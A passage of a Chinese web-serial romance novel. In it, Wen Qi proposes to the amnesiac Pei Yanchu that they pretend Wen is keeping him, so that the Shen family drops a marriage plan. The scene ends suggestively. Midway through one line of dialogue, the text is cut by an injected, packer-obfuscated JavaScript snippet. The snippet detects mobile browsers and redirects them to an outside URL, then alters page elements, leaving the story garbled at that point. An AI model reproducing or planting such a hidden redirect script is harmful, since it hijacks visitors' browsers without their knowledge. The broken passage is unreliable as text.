因着小短腿限制,只露出了小狗的半张脸,覆着薄绒毛的尖尖耳朵高高竖起,黑玻璃眼一闪一闪的,炯炯有神,好奇地望着叠在一起的两个人。 像在问——你们在玩什么O.O? 闻祈:…… 两分钟后,主卧的门哐的一声关上。 被赶出来的小白狗迷茫地转了一圈,意识到自己被排挤了,嘤嘤呜呜地委屈刨门。 ——有什么是小狗不能听的! 主卧里,裴砚初压着半条腿坐在床边,平复着自己噗通乱蹦的心跳,故意道:“你把元宝赶出去,门锁了,又把我留在床上,不让我走……很容易让人误会的。” 闻祈转过身来,道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14068022|147839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我以为我的意思表述得很清楚了。” 裴砚初的心跳又错了一拍,面上的神色依旧拿捏得四平八稳,苦笑着:“小祈,能不能直说?我真的猜不出来。” 闻祈一步一步走来,裴砚初保持着身形未动,漆黑的瞳眸一瞬不移地注视着他,眸底竭力压抑着涌动的情绪。 “就像你现在知道的,我妈想让我去和沈家联姻。” 闻祈的语气平静:“沈家老爷子曾经找了个大师批命,他最疼爱的小孙子沈溪需要在今年结婚,才能抵过命中的一个大劫,而结婚对象要合八字,我是备选者里的一个。” “我想借见面的事,要回我在星乐的合同,同样需要一个理由,让沈家那边主动放弃我。” 裴砚初的神色也跟着变得严肃。 闻祈继续道:“大多数的豪门家庭觉得夫妻貌合神离,各玩各的很正常,无非就是藏得好与不好的区别,但沈家不同。” “沈家老爷子隐居很久,消息藏得很深,唯一的爱好就是弄花种草,我有一个朋友作庭院设计,跟着教授意外和沈老爷子打过几次交道,知道他的思想守旧,所以……” 他的长睫似黑蝶垂落,低眸注视着裴砚初,带着几分审视,道:“我想过了,让外界以为我把你包养了,确实是个不错的选择。” 裴砚初愣神许久,没听到闻祈继续说话,晕乎乎地问:“小祈,你说的什么报复、什么惩罚,不会是指这个吧?” 闻祈微不可察地皱了下眉尖,转瞬神色又闪过了然。 毕竟裴砚初现在失忆了,只听过他说的几件事,不知道他们曾经具体的过节,听到假装包养,没什么太大的抵触心理也正常。 等恢复记忆,就知道什么叫羞耻了。 闻祈问:“怎么,还不够?” “够、够!”裴砚初一个激灵,差点没压住自己疯狂上扬的唇角,“简直太突然、太过分了!” 他又正儿八经地和闻祈探讨:“那我们是要假戏真做吗?我不是说可以,也不是说不行,毕竟包养这个事儿呢我也是头一遭,具体要做到怎么个程度呢,我们是不是要先沟通一下?” “假戏真做?”闻祈面露古怪,“你还真敢想。” ——那确实想过很多次了。 裴砚初无辜道:“我也是为了这个家着想,要是你去和沈家联姻了,我和元宝就无家可归了,那可怎么办啊。” 不知怎的,闻祈仿佛幻视裴砚初后面有条大尾巴在螺旋桨式地晃动,摇出幻影的那种。 “不用想那么多。”闻祈的语气生硬,“你听我的做就行。” 裴砚初飞快点头,怕人反悔似的:“好好好,我听你的。” 闻祈轻嗯一声,伸出白皙如玉的纤细手指,开始解自己的睡衣扣子,冷淡道:“上床吧。” 两颗扣子解开,露出一小片平直的精致锁骨,肌肤雪白得晃眼。 “等等!——” 裴砚初口干舌燥,感觉鼻尖又隐隐有些发热,一把握住闻祈的手腕,艰难地问:“你不是说,不用假戏真做的吗?” “不用假戏真做,不代表一点痕迹都不做。” 闻祈被他给问烦了,直接道:“行不行?不行就滚出去。” 男人怎么能说不行! 裴砚初的呼吸急促起来,闭着眼,往床上一躺,大义凛然道:“行,当然行!”